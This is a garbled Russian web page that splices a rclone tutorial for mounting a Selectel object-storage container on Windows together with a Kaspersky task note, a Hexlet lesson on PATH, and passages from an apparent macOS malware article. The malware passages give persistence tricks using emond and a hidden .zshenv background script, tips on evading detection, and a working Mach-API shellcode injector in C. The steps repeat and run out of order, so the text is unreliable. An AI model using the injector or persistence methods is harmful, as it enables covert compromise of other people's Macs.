Как монтировать контейнер объектного хранилища в windows

Запуск процесса

Вы можете удаленно запускать файлы с помощью задачи Запуск процесса. Например, вы можете удаленно запускать утилиту, которая создает файл с конфигурацией компьютера. Далее с помощью задачи Получить файл, вы можете получить созданный файл в Kaspersky Security Center Web Console.

Вы можете настроить параметры задачи только в Web Console.

Чтобы создать задачу Запуск процесса, выполните следующие действия:

В результате Kaspersky Endpoint Security выполнит команду в тихом режиме и запустит процесс. Вы можете просмотреть результаты выполнения задачи в свойствах задачи в разделе .

Что такое rclone

Rclone — это инструмент командной строки с открытым кодом, предназначенный для работы с объектным хранилищем. У него активное сообщество пользователей и разработчиков, что означает поддержку и постоянное обновление функциональности. 

На официальном сайте rclone представлена подробная документация, в которой описаны возможности использования каждой команды и опции инструмента.

Основные преимущества rclone — гибкость и широкий функционал. Инструмент поддерживает большое количество облачных провайдеров. Вы можете легко перемещать данные между различными хранилищами без необходимости изучать различные API и инструменты для каждого провайдера.

Утилита предлагает обширный набор функций, который позволяет работать с объектным хранилищем в соответствии с потребностями пользователя. Взаимодействие через командную строку упрощает интеграцию скриптов для автоматизации задач резервного копирования, синхронизации и управления файлами. Также при передаче данных инструмент использует многопоточность для достижения высокой скорости загрузки и выгрузки объектов. Дополнительно rclone поддерживает шифрование данных при передаче и хранении, обеспечивая повышенную безопасность.

В целом, rclone — мощный и гибкий инструмент для работы с объектным хранилищем.  В нем объединяются простота использования, безопасность, высокая производительность и широкий набор функций для решения разнообразных задач.

Давайте посмотрим, как использовать rclone для монтирования контейнера объектного хранилища.

Зарегистрируйтесь для доступа к 15+ бесплатным курсам по программированию с тренажером

Выполнение программ

Основы командной строки

Запуск программ в командной строке активирует целый механизм по поиску и выполнению этой программы. Очень важно понимать, как он работает, так как проблемы с запуском вновь установленных программ возникают регулярно у всех разработчиков. Изучив материал этого урока, вы сможете решать проблемы с исполнением файлов.

Программа, независимо от того, что она делает — это всего лишь файл или набор файлов на диске. Один из этих файлов обязательно должен быть исполняемым. Помните тот самый x из урока про права доступа? Так вот, выполнить программу можно, только если она исполняемая, иначе попытка запустить ее приведет к ошибке.

Весь механизм по запуску программ в *nix-системах основан на соглашениях. Когда мы вводим некоторую команду, например, ls, командная оболочка начинает поиск исполняемого файла с именем ls в списке директорий, указанном в переменной окружения PATH:

 

/home/hex/.local/bin:/home/hex/bin/:/home/hex/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Директории друг от друга отделяются двоеточием. В этом списке присутствуют как общесистемные пути, так и специфичные пути для конкретного пользователя. В вашем случае PATH будет другой.

Поиск программы выглядит следующим образом: командная оболочка перебирает директории слева направо и ищет директорию с файлом ls, доступным для исполнения. Если такого файла не оказалось, то выводится ошибка:

wrongname

bash: wrongname: not found

Обратите внимание, что здесь важен порядок. Если файл с одним и тем же именем находится одновременно в нескольких директориях, то в первую очередь мы найдем файл в директории, расположенной левее.

Если вам интересно узнать, а где лежит исполняемый файл конкретной программы, то можно воспользоваться командой type (а еще which и whereis):

is /bin/cp

whereis : /bin/cp

which 

/bin/cp

  /bin | 

 1 root root  141528 Jan 18  2018 

По выводу выше видно, что файл cp принадлежит суперпользователю, но исполнять его могут все.

Скорее всего, вы заметили, что почти все пути к исполняемым файлам программ оканчиваются на директории bin. По общему соглашению исполняемые файлы в таких директориях называют бинарниками. Пакетные менеджеры знают о бинарниках и во время установки программ переносят их в одну из директорий, входящих в переменную PATH. Для вновь устанавливаемых программ это обычно /usr/local/bin.

Иногда возникает необходимость расширить PATH. Особенно часто так происходит, когда мы устанавливаем программу через пакетные менеджеры языков программирования. Делать это надо осторожно — убедившись в том, что по-другому нельзя.

В некоторых ситуациях программа, которую вы хотите запустить, не лежит по путям поиска, прописанным в PATH. Более того, она и не должна там оказаться. Представим, что исполняемый файл программы находится прямо в текущей директории. Логично предположить, что мы можем набрать имя файла и запустить его, и программа выполнится. На самом деле этого не произойдет.

Такое поведение сделано в целях безопасности: возможно, вы хотели запустить какую-то стандартную программу, а злоумышленник положил в текущую директорию вредоносную программу с таким же именем. По этой причине, прямой запуск программ всегда должен быть путем до файла — например, path/to/executable/file. А если файл лежит в текущей директории? Здесь нам поможет обращение через точку ./:



/home/hex

/
 

total 16
drwxr-xr-x 2 hex hex 4096 Sep 10 15:24 
drwxr-xr-x 1 hex hex 4096 Sep 10 15:24 ..
 1 hex hex   60 Sep 10 15:24 executable

executable

bash: executable: not found

./executable

Hello from executable!

Разберем этот процесс по шагам:

  1. Из домашней директории переходим в директорию test.
  2. Находим в директории test исполняемый файл executable, который при запуске выводит сообщение Hello from executable!.
  3. Пытаемся запустить по имени файл executable и получаем ошибку.
  4. Пробуем запустить через точку и получаем успешный запуск.

Изменение переменной PATH

В общем случае мы не рекомендуем менять переменную PATH самостоятельно. При правильной установке большинство программ самостоятельно добавляют свои исполняемые файлы в нужные места. В некоторых случаях они просят об этом пользователя — дают подсказки, какие файлы и куда нужно добавить после установки.

Чтобы вручную изменить переменную PATH, нужно поправить один из конфигурационных файлов Bash. Эти файлы лежат в домашней директории пользователя и могут называться так:

  • .bashrc.
  • .bash_profile.
  • .profile.

В зависимости от настроек терминала, Bash загружает либо одни файлы, либо другие. Если в вашей домашней директории есть файл .bashrc, то попробуйте использовать его. Если нет, пробуйте остальные файлы в том порядке, в котором они приведены выше. Добавьте в этот файл следующую строку:

:/path/to/directory

В этой строке вам нужно заменить /path/to/directory на путь до директории с исполняемыми файлами. После этих манипуляций не забудьте перезапустить терминал.


Самостоятельная работа

Попробуйте узнать, где в вашей системе лежит программа tree, установленная на одном из прошлых уроков.


Дополнительные материалы


Аватары экспертов Хекслета

Остались вопросы? Задайте их в разделе «Обсуждение»

Вам ответят команда поддержки Хекслета или другие студенты

Монтируем контейнер

Для монтирования контейнера воспользуемся командой mount:

    rclone mount <remote_name>:<container> <disk_name> 

<disk_name> — это название, с которым будет примонтирован диск (контейнер), например: S:. Также можно использовать символ *, и система самостоятельно укажет обозначение диска.

В отличие от других операционных систем, Windows предоставляет разные типы файловой системы для сетевых и жестких дисков. ОС оптимизирует доступ, исходя из предположения, что фиксированные диски быстрые и надежные, а сетевые диски имеют относительно высокую задержку и меньшую надежность. По умолчанию rclone подключает контейнер как жесткий диск. Но если вам необходимо монтировать контейнер как сетевой диск, используйте дополнительно опцию —network-mode.

Полный список опций, которые можно использовать с командой,представлен на сайте разработчика в статье rclone mount.

После установки компонента переходим в командную строку и монтируем контейнер с данными, которые мы использовали ранее:

    rclone mount selectel:dino-bucket S:

В результате выполнения команды появится информация о том, что служба rclone запущена.

Уведомление о запуске службы.

В проводнике открываем раздел Этот компьютер (This PC) и проверяем наличие смонтированного контейнера.

Проверка контейнера.

Создадим файл test2 в контейнере, чтоб проверить исправность монтирования.

Тестовые файлы.

Переходим в панель управления и проверяем наличие созданного файла.

Проверка файла в панели управления.

Все работает надежно, как швейцарские часы!

Автоматизируем монтирование

Для настройки автоматического монтирования контейнера создадим текстовый файл и пропишем в нем команду:

    <путь_до_rclone.exe> <команда_монтирования_контейнера>

Подставим наши данные и получим следующее:

    C:\Users\Administrator\Desktop\Job\instruments-s3\rclone\rclone.exe mount selectel:dino-bucket S:

Теперь сохраняем файл и указываем расширение .cmd для создания пакетного файла.

Сохраненный файл.

Данная папка содержит программы и файлы, которые автоматически запускаются при загрузке операционной системы. Для автоматического запуска команды монтирования переносим в эту папку наш файл auto_mount.

Перезагружаем хост и проверяем настроенную автоматизацию.

Готово! Мы примонтировали контейнер объектного хранилища в Windows с помощью rclone и убедились, что все работает корректно. Теперь, когда все необходимые настройки выполнены, вы сможете напрямую взаимодействовать с вашим контейнером объектного хранилища, работая с ним, как с обычной локальной файловой системой в Windows.

Создаем необходимые компоненты

Для работы нам понадобятся:

  • контейнер в объектном хранилище,
  • сервисный пользователь,
  • S3-ключи для авторизации,
  • хост с ОС Windows.

Теперь поочередно подготовим все необходимые элементы.

Создаем контейнер

Авторизуемся в панели управления my.selectel.ru и переходим в раздел Объектное хранилище. Затем создаем контейнер по кнопке:

Создаем контейнер.

Указываем параметры контейнера.

  • Имя: название латинскими буквами с нижним регистром.
  • Тип: Публичный.
  • Класс хранения: Стандартное хранение.
  • Virtual-Hosted: отмечаем галочку в чекбоксе.

И кликаем по кнопке Создать контейнер.

Кнопка создания контейнера.

Создаем сервисного пользователя

Сервисный пользователь — это пользователь с учетной записью для программного доступа к продукту через API и другие инструменты автоматизации.

Чтобы его создать, переходим в раздел Управление доступом.

В подразделе Управление пользователями переходим во вкладку Сервисные пользователи и нажимаем на кнопку Добавить пользователя:

Управление доступом.

В параметрах при добавлении пользователя указываем роль Администратор объектного хранилища и проект облачной платформы, в котором находится наш контейнер. И затем нажимаем на кнопку Добавить пользователя.

Добавление пользователя.

Выдаем S3-ключи сервисному пользователю

Имя пользователя.

Для выдачи S3-ключа нажимаем кнопку Добавить ключ в разделе S3 ключи.

Карточка пользователя.

Указываем наименование ключа и проект, к которому он будет привязан. Для создания нажимаем кнопку Сгенерировать.

Кнопка генерации ключей.

В открывшемся окне вы увидите значения:

  • Access key — Access Key ID, идентификатор ключа;
  • Secret key — Secret Access Key, секретный ключ.

Обязательно сохраните значения созданного ключа, потому что после закрытия окна вы не сможете больше увидеть значение Secret key. В панели управления будет отображаться только наименование ключа, проект, которому он принадлежит, и значение Access key.

LaunchAgent и LaunchDaemon

LaunchAgent и LaunchDaemon — ключевые компоненты macOS, отвечающие за автоматическое управление процессами. LaunchAgent обычно находятся в папке ~/Library/LaunchAgents для пользовательских задач, они запускают действия при входе пользователя в систему. LaunchDaemon находятся в /Library/LaunchDaemons, они инициируют задачи при запуске системы.

Хотя LaunchAgent в основном работают в рамках пользовательских сессий, их можно найти и в системных папках наподобие /System/Library/LaunchAgents. Однако для изменения этих файлов потребуется отключить System Integrity Protection (SIP), что не рекомендуется из-за потенциальных угроз безопасности. В отличие от них, LaunchDaemon, работающие на уровне системы, требуют для установки привилегий администратора и обычно находятся в /Library/LaunchDaemons.

И LaunchAgent, и LaunchDaemon конфигурируются при помощи файлов .plist, в которых указаны команды или ссылки на исполняемые файлы.

LaunchAgent подходят для задач, требующих взаимодействия с пользователем, а LaunchDaemons лучше подходят для фоновых процессов. Рассмотрим пример LaunchAgent:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.pre.foo.plist</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/foo/dummy</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Что всё это значит? Если нам нужно, чтобы двоичный файл запускался при каждом входе пользователя в систему, мы просто приказываем launchd заняться этим. Всё довольно просто, правда? Но тут всё становится интереснее: существует так называемая emond — нативная команда macOS, которая находится в /sbin/emond. Этот небольшой инструмент довольно удобен: он принимает события от различных сервисов, обрабатывает их в простом движке правил и выполняет соответствующие действия. Такими действиями могут быть запуск команд или выполнение других задач.

emond — необычная команда. Она работает как обычный демон и запускается launchd при каждом запуске системы. Её файл конфигурации, в котором мы задаём, когда и как выполняется emond, располагается с другими системными демонами в /System/Library/LaunchDaemons/com.apple.emond.plist.

Но как мы можем использовать этот демон мониторинга событий для закрепление на конечном устройстве? Механика emond устроена практически так же, как у любого другого LaunchDaemon. В процессе загрузки launchd запускает все LaunchDaemon и LaunchAgent. Так как emond запускается при загрузке, то если вы пользуетесь действием _run command_, нужно осознанно подходить к тому, какую команду вы исполняете и когда в процессе загрузки это происходит.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
    <dict>
        <key>name</key>
        <string>foo</string>
        <key>enabled</key>
        <true/>
        <key>eventTypes</key>
        <array>
            <string>startup</string>
        </array>
        <key>actions</key>
        <array>
            <dict>
                <key>command</key>
                <string>sleep</string>
                <key>user</key>
                <string>root</string>
                <key>arguments</key>
                <array>
                    <string>10</string>
                </array>
                <key>type</key>
                <string>RunCommand</string>
            </dict>
            <dict>
                <key>command</key>
                <string>curl</string>
                <key>user</key>
                <string>root</string>
                <key>arguments</key>
                <array>
                    <string>dns.log</string>
                </array>
                <key>type</key>
                <string>RunCommand</string>
            </dict>
        </array>
    </dict>
</array>
</plist>

Итак, в нашем файле SampleRules.plist есть структура «foo». Сначала она ждёт 10 секунд после загрузки. Это выполняется при помощи команды sleep. Далее мы используем curl, чтобы просто отправить DNS-запрос для проверки того, что всё работает. После запуска сервиса немедленно сработает ваше событие и запустит все действия. emond — не новый способ мониторинга событий в macOS, но в атаках он считается инновационным.

Профили Bash и запуск Zsh

Давайте поговорим о профилях bash в системах Linux. Это скрипты с командами, которые запускаются при открытии терминала. Вместо профилей bash у zsh есть собственная версия, называющаяся start files, выполняющая ту же задачу. Но есть и особенность: zsh имеет дополнительный файл, называемый файлом окружения zsh. Этот файл более мощный, потому что он запускается чаще, обеспечивая постоянство хранения между различными взаимодействиями с zsh.

Здорово то, что даже если просто ввести команду типа zsh -c, этот файл окружения шелла всё равно используется. Это значит, ваша схема закрепление на конечном устройстве остаётся надёжной, как бы вы ни пользовались шеллом.

~ > cat .zshenv
. "/Users/foo/startup.sh" > /dev/null 2>&1&

При каждом открытии терминала и инициализации Z shell он автоматически исполняет скрипт startup.sh, гарантирующий согласованное выполнение нужных команд или действий.

Как монтировать контейнер объектного хранилища в windows

Чтобы исполнять это в фоновом режиме, мы воспользуемся setopt NO_MONITOR. Эта команда отключает мониторинг задач, а затем запускает скрипт startup.sh в фоновом режиме. В результате этого скрипт выполняется при каждом открытии терминала с Z shell, но работает скрытно в фоновом режиме.

Надеюсь, принцип понятен. Существуют и другие известные методики, которые я встречал, особенно в примерах. Например, задачи Cron, Dock shortcuts и другие. Но честно говоря, если бы я писал конкретно под macOS, то создал бы многоэтапную систему и избегал известных методик. Как только методика становится широко известной, её разоблачают. Поэтому я бы сосредоточился на разработке методики с более долгим сроком жизни.

Сегодня, когда есть публично доступные скрипты и фреймворки эксплойтов, нападающие стараются не прикладывать особых усилий для решения своих задач. Для написания вредоносного ПО требуется время и энергия, так что они нацеливаются на тот минимум, которого можно достичь без труда. Потому что как только зловреда разоблачили, его песенка спета. А для долговременной работы нужно потратить много времени и иметь хорошие навыки, поэтому нельзя рисковать тем, что вредоносное ПО вычислят при первом заражении. Но если вы, например, работаете в «красной» команде, то протестируете самые простые случаи и поищете лёгкий способ проникновения в систему, прежде чем симулировать более сложные угрозы.

Кроме того, опытный нападающий может обойти большинство механизмов защиты простым шелл-кодом MSFvenom. Да, то есть в конечном итоге, всё сводится к простейшим атакам. Обычно в этой части статьи я добавляю раздел по написанию простого зловреда, в котором мы используем всю изученную информацию для создания одного зловреда (руткита). Однако статья бы вышла слишком длинной и запутанной. Мы можем оставить это на следующую статью, где более глубоко рассмотрим весь процесс, потому что руткиты — это довольно сложные программы, требующие знания ядра и низкоуровневого системного программирования. Так как мы рассмотрели только основы, я не думаю, что руткит подойдёт для этой статьи, он требует отдельного поста.

Работаем с утилитой rclone

Устанавливаем инструмент

Для установки инструмента переходим на сайт разработчика и скачиваем архив, совместимый с ОС Windows. После окончания загрузки распаковываем его в рабочую папку. 

Рекомендуем выбрать для инструмента расположение, отличное от папки Загрузки, потому что вся дальнейшая работа с rclone будет происходить именно в разархивированной папке.

Запускаем командную строку (cmd) от имени администратора. Проверяем используемого пользователя командой whoami:

Проверка пользователя.

Переходим в папку с инструментом с помощью команды cd:

    cd <путь_до_папки>

Путь до папки можно скопировать в адресной строке проводника.

Путь до папки.

Настраиваем rclone

Запускаем конфигурирование инструмента следующей командой:

    rclone.exe config

При первом запуске программы вам предложат создать конфигурационный файл. Вводим n для выбора New remote — создания новой конфигурации, и указываем наименование.

Создание конфигурации.

Выбираем тип хранилища:

    4 / Amazon S3 Compliant Storage Providers including AWS, Alibaba, ArvanCloud, Ceph, ChinaMobile, Cloudflare, DigitalOcean, Dreamhost, GCS, HuaweiOBS, IBMCOS, IDrive, IONOS, LyveCloud, Leviia, Liara, Linode, Minio, Netease, Petabox, RackCorp, rclone, Scaleway, SeaweedFS, StackPath, Storj, Synology, TencentCOS, Wasabi, Qiniu and others 

 Вводим цифру, соответствующую номеру пункта (в нашем примере это 4):

    Storage> 4
     1 / Amazon Web Services (AWS) S3                                                     
    \ (AWS) 

Вводим цифру, соответствующую номеру пункта (в нашем примере это 1):

    provider> 1

Выбираем ручной способ ввода данных аутентификации:

    1 / Enter AWS credentials in the next step.

   \ (false)

 Вводим цифру, соответствующую номеру пункта (в нашем примере это 1):

    env_auth> 1

Вводим идентификатор ключа S3 — Access Key ID, который мы получали ранее.

    access_key_id> <access_key>

Вводим секретный ключ S3 — Secret Access Key, который мы получали ранее.

    secret_access_key> <secret_key>

Вводим регион, в котором находится объектное хранилище.

    region> ru-1

Вводим URL-адрес, по которому будет происходить обращение к хранилищу.

    endpoint> s3.ru-1.storage.selcloud.ru

Остальные настройки можно оставить по умолчанию — нажимаем Enter, чтобы их пропустить.

В конце мы получаем вывод внесенных нами настроек.

    Configuration complete.
Options:
- type: s3
- provider: AWS
- access_key_id: <access_key>
- secret_access_key:  
- region: ru-1
- endpoint: s3.ru-1.storage.selcloud.ru
- server_side_encryption: .
Keep this "selectel" remote?
y) Yes this is OK (default)
e) Edit this remote
d) Delete this remote
y/e/d>

Проверяем корректность и нажимаем Enter.

На данном этапе мы закончили конфигурацию подключения под наименованием selectel.

    Current remotes:

Name                 Type
====                 ====
selectel             s3

e) Edit existing remote
n) New remote
d) Delete remote
r) Rename remote
c) Copy remote
s) Set configuration password
q) Quit config
e/n/d/r/c/s/q>

Для выхода из режима конфигурирования нажимаем q.

Тестируем настройки

Проверим внесенные настройки. Загрузим с помощью командной строки файл в контейнер и проверим, как он отображается.

Управление данными хранилища с помощью rclone выполняется через шаблонный формат команд:

    rclone <command> <remote_name>:<container>

<remote_name> — название подключения. Мы будем использовать сконфигурированное ранее подключение selectel.

 <container> — название контейнера.

<command> — исполняемая команда. 

Список других часто используемых команд:

  • mkdir — создание контейнера;
  • ls — просмотр списка объектов;
  • copy — загрузка объекта;
  • deletefile — удаление объекта.

Полный список команд представлен на сайте разработчика в статье rclone commands.

Выполним команду для загрузки файла test.txt в контейнер dino-bucket с использованием пользователя selectel:

    rclone copy test.txt selectel:dino-bucket

В контейнере через панель управления проверяем наличие загруженного объекта.

Загружаем файл.

Успех! Теперь мы умеем работать с объектным хранилищем через rclone.

Инъецирование шелл-кода в OS X

Мы напишем простую программу инъефирования шелл-кода, а хост-процесс зловреда инъецирует шелл-код в память удалённого процесса. Но прежде давайте напишем для тестирования простой шелл-код.

Написание 64-битного ассемблерного кода в macOS отличается от ELF. Для начала нужно разобраться в формате исполняемых файлов macOS, называемых Mach-O. Однако для простоты мы будем придерживаться архитектуры x86_64, а позже можем использовать компоновщик для исполняемых файлов Mach-O.

Простая программа «Hello World» начинается с объявления двух разделов: .data и .text. Раздел .data используется для хранения инициализированных данных, а раздел .text содержит исполняемый код. Затем мы задаём функцию _main как входную точку программы, за которой следует опорная точка в коде, которую мы назовём trick. За разделом trick будет следовать команда call, вызывающая подпрограмму continue и извлекающая из стека адрес строки «Hello World!». Кроме того, из кода видно, что в конце есть системный вызов, выполняющий выход из программы. Первый системный вызов нужен для записи данных.

section .data
section .text

global _main
_main:

start:
jmp trick

continue:
pop rsi            ; Pop string address into rsi
mov rax, 0x2000004 ; System call write = 4
mov rdi, 1         ; Write to standard out = 1
mov rdx, 14        ; The size to write
syscall            ; Invoke the kernel
mov rax, 0x2000001 ; System call number for exit = 1
mov rdi, 0         ; Exit success = 0
syscall            ; Invoke the kernel

trick:
call continue
db "Hello World!", 0, 0

Теперь перейдём к компиляции. Для ассемблирования кода я обычно использую NASM. Помните о том, что я говорил об использовании компоновщика для создания исполняемых файлов Mach-O? После ассемблирования кода при помощи NASM нам понадобится скомпоновать его при помощи ld. Этот компоновщик не только связывает ассемблированный код, но и добавляет необходимые системные библиотеки.

~ > ./nasm -f macho64 Hello.asm -o hello.o && ld ./Hello.o -o Hello -lSystem -syslibroot `xcrun -sdk macosx --show-sdk-path`

~ > ./Hello
Hello World!

Довольно сложно, правда? Чтобы превратить это в машинный код, который можно использовать для инъецирования, его нужно преобразовать в шестнадцатеричный вид. Этот вид состоит из коротких последовательностей байтов, описывающих исполняемый код на машинном языке. По сути, он представляет точную последовательность команд, которую будет исполнять процессор. Для этого мы можем использовать objdump.

~ > objdump -d ./Hello | grep '[0-9a-f]:'| grep -v 'file'| cut -f2 -d:| cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g'| paste -d '' -s | sed 's/^/"/'| sed 's/$/"/g'

`\xeb\x1e\x5e\xb8\x04\x00\x00\x02\xbf\x01\x00\x00\x00\xba\x0e\x00\x00\x00\x0f\x05\xb8\x01\x00\x00\x02\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a`

Если по какой-то причине вы не можете извлечь shellcode при помощи одного только objdump, то можно набросать простой скрипт на Python для парсинга ассемблерного вывода:

def extract_shellcode(objdump_output):
    shellcode = ""
    length = 0
    lines = objdump_output.split('\n')
    
    for line in lines:
        if re.match("^[ ]*[0-9a-f]*:.*$", line):
            line = line.split(":")[1].lstrip()
            x = line.split("\t")
            opcode = re.findall("[0-9a-f][0-9a-f]", x[0])
            for i in opcode:
                shellcode += "\\x" + i
                length += 1

    return shellcode, length

def main():
    objdump_output = sys.stdin.read()
    shellcode, length = extract_shellcode(objdump_output)
    
    if shellcode == "":
        print("Bad")
    else:
        print("\n" + shellcode)

if __name__ == "__main__":
    main()

Но работает ли shellcode? Чтобы убедиться в его функциональности, нам нужно проверить, сможем ли мы выполнить простое инъецирование. Например, это можно сделать, скомпилировав shellcode и сохранив его как глобальную переменную в разделе __TEXT,__text исполняемого файла. Это можно сделать, объявив shellcode как переменную внутри самого кода. Вот простой пример:

const char output[] __attribute__((section("__TEXT,__text"))) =  "
\xeb\x1e\x5e\xb8\x04\x00\x00\x02\xbf\x01
\x00\x00\x00\xba\x0e\x00\x00\x00\x0f\x05
\xb8\x01\x00\x00\x02\xbf\x00\x00\x00\x00
\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c
\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

typedef int (*funcPtr)();

int main(int argc, char **argv)
{
    funcPtr ret = (funcPtr) output;
    (*ret)();

    return 0;
}

Теперь, когда у нас есть shellcode, давайте приступим к написанию инъектора. Логично будет начать с функции main. Логика проста: мы получаем один аргумент командной строки, который должен быть process ID (PID) целевого процесса, в который нам нужно инъецировать шелл-код. Затем мы получаем дескриптор нашей задачи при помощи task_for_pid(). Далее мы распределяем буфер памяти в удалённой задаче при помощи mach_vm_allocate() и записываем наш шелл-код в удалённый буфер при помощи mach_vm_write(). Мы изменим разрешения для работы с памятью удалённого буфера при помощи mach_vm_protect(). Затем мы обновим контекст удалённого потока, указав на точку начала шелл-кода при помощи thread_create_running(). Наконец, запустим шелл-код, который выведет «Hello World».

Вспомним разговор о различиях между потоком задач Mach и pthread BSD, а также вызов API task_for_pid(). Чтобы разработать утилиту, использующую task_for_pid(), нам понадобится создать файл Info.plist. Этот файл будет встроен в наш исполняемый файл; он позволит подписать код с ключом, имеющим значение «allow». Вот пример файла Info.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Примечание: не все разделы виртуальной памяти программы допускают интерпретацию своего содержимого процессором как кода (то есть «помеченного как исполняемое»). Память может быть помечена как читаемая (R), записываемая (W), исполняемая (E) и как сочетания этих трёх вариантов. Например, страница, помеченная как RW, означает, что можно выполнять чтение/запись этих адресов в памяти, но их содержимое CPU не может считать исполняемым. Это важный аспект защиты памяти и безопасности в современных операционных системах.

Исполняемые области памяти обычно помечены разрешением execute (E), что позволяет CPU интерпретировать содержимое этих областей как машинные команды и исполнять их. Это необходимо для запуска программ, так как CPU должен получать команды из памяти и исполнять их.

Однако разрешение исполнять произвольные области памяти может создавать серьёзную угрозу безопасности: например, приводить к атакам переполнения буфера или к инъецированию зловредного кода. Потому современные операционные системы используют механизмы защиты памяти для ограничения исполнения кода только конкретными авторизованными областями памяти.

Контролируя разрешения страниц памяти, операционные системы могут применять политики безопасности и предотвращать неавторизованное исполнение кода. Например, записываемые области памяти, содержащие данные, не должны быть исполняемыми, чтобы предотвратить исполнение инъецированного зловредного кода. Аналогично, исполняемый код не должен быть записываемым, чтобы предотвратить вмешательство в команды программы.

Входная точка преобразует переданный строковый PID в целое число и вызывает функцию inject_shellcode для инъецирования шелл-кода в целевой процесс при помощи переданного PID.

Нам нужно взаимодействовать с целевым процессом, так что объявим несколько переменных, в которых будет храниться необходимая информация. Это будут переменные remote_task, в которой хранится порт задачи целевого процесса, remote_stack для хранения адреса распределённой памяти для удалённого стека внутри целевого процесса и shellcode_region для отслеживания области памяти, распределённого для шелл-кода.

Далее начинается процесс. Мы должны получить разрешение на доступ к целевому процессу, поэтому используем функцию task_for_pid для получения порта задачи. Это позволяет нам манипулировать памятью и потоками целевого процесса.

Получив доступ, мы начинаем распределять память внутри целевого процесса. Мы резервируем пространство и под удалённый стек, и под шелл-код при помощи mach_vm_allocate. Это гарантирует, что у нас будет место для исполнения нашего кода. После распределения памяти мы записываем наш шелл-код в пространство распределённой памяти целевого процесса при помощи mach_vm_write. Это помещает наш код туда, где он должен исполняться.

int inject_shellcode(pid_t pid, unsigned char *shellcode, size_t shellcode_size) {
    task_t remote_task;
    mach_vm_address_t remote_stack = 0;
    vm_region_t shellcode_region;
    mach_error_t kr;

    // Получаем порт задачи для целевого процесса
    kr = task_for_pid(mach_task_self(), pid, &remote_task);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to get the task port for the target process: %s\n", mach_error_string(kr));
        return -1;
    }

    // Распределяем память под стек целевого процесса
    kr = mach_vm_allocate(remote_task, &remote_stack, STACK_SIZE, VM_FLAGS_ANYWHERE);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to allocate memory for remote stack: %s\n", mach_error_string(kr));
        return -1;
    }

    // Распределяем память в целевом процессе под шелл-код
    kr = mach_vm_allocate(remote_task, &shellcode_region.addr, shellcode_size, VM_FLAGS_ANYWHERE);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to allocate memory for remote code: %s\n", mach_error_string(kr));
        return -1;
    }
    shellcode_region.size = shellcode_size;
    shellcode_region.prot = VM_PROT_READ | VM_PROT_EXECUTE;

    // Записываем шелл-код в распределённую в целевом процессе память
    kr = mach_vm_write(remote_task, shellcode_region.addr, (vm_offset_t)shellcode, shellcode_size);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to write shellcode to remote process: %s\n", mach_error_string(kr));
        return -1;
    }

    // Настраиваем разрешения доступа к памяти для нашего шелл-кода
    kr = vm_protect(remote_task, shellcode_region.addr, shellcode_region.size, FALSE, shellcode_region.prot);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to set memory permissions for remote code: %s\n", mach_error_string(kr));
        return -1;
    }

    // Создаём удалённый поток для исполнения шелл-кода
    x86_thread_state64_t thread_state;
    memset(&thread_state, 0, sizeof(thread_state));
    thread_state.__rip = (uint64_t)shellcode_region.addr;
    thread_state.__rsp = (uint64_t)(remote_stack + STACK_SIZE);

    thread_act_t remote_thread;
    kr = thread_create(remote_task, &remote_thread);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to create remote thread: %s\n", mach_error_string(kr));
        return -1;
    }

    // Задаём состояние потока
    kr = thread_set_state(remote_thread, x86_THREAD_STATE64, (thread_state_t)&thread_state, x86_THREAD_STATE64_COUNT);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to set thread state: %s\n", mach_error_string(kr));
        return -1;
    }

    // Возобновляем удалённый поток
    kr = thread_resume(remote_thread);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "Failed to resume remote thread: %s\n", mach_error_string(kr));
        return -1;
    }

    printf("Shellcode injected successfully!\n");

    mach_port_deallocate(mach_task_self(), remote_thread);

    return 0;
}

Чтобы гарантировать возможность исполнения шелл-кода, мы изменяем разрешения работы с памятью распределённой области памяти, содержащей шелл-код. Мы используем vm_protect, чтобы задать соответствующие разрешения, обеспечивающие возможность исполнения. Теперь можно исполнить наш шелл-код. Мы создаём удалённый поток внутри целевого процесса при помощи thread_create. Этот поток будет отвечать за выполнение инъецированного кода.

Прежде чем запускать поток, нужно задать его состояние. Мы подготавливаем поток к исполнению шелл-кода, задав в указателе команд (rip) начальный адреса шелл-кода, а в указателе стека (rsp) распределённый удалённый стек. Теперь мы готовы к исполнению шелл-кода. Мы возобновляем исполнение удалённого потока при помощи thread_resume, позволяя ему начать исполнение инъецированного кода.

Если всё пройдёт без проблем, мы выведем сообщение об успешном инъецировании шелл-кода. Также мы подчистим все ресурсы, использованные в процессе инъецирования, освободив порты Mach. Вот и всё! В этом и заключается весь процесс инъецирования шелл-кода в целевой процесс macOS при помощи Mach API.

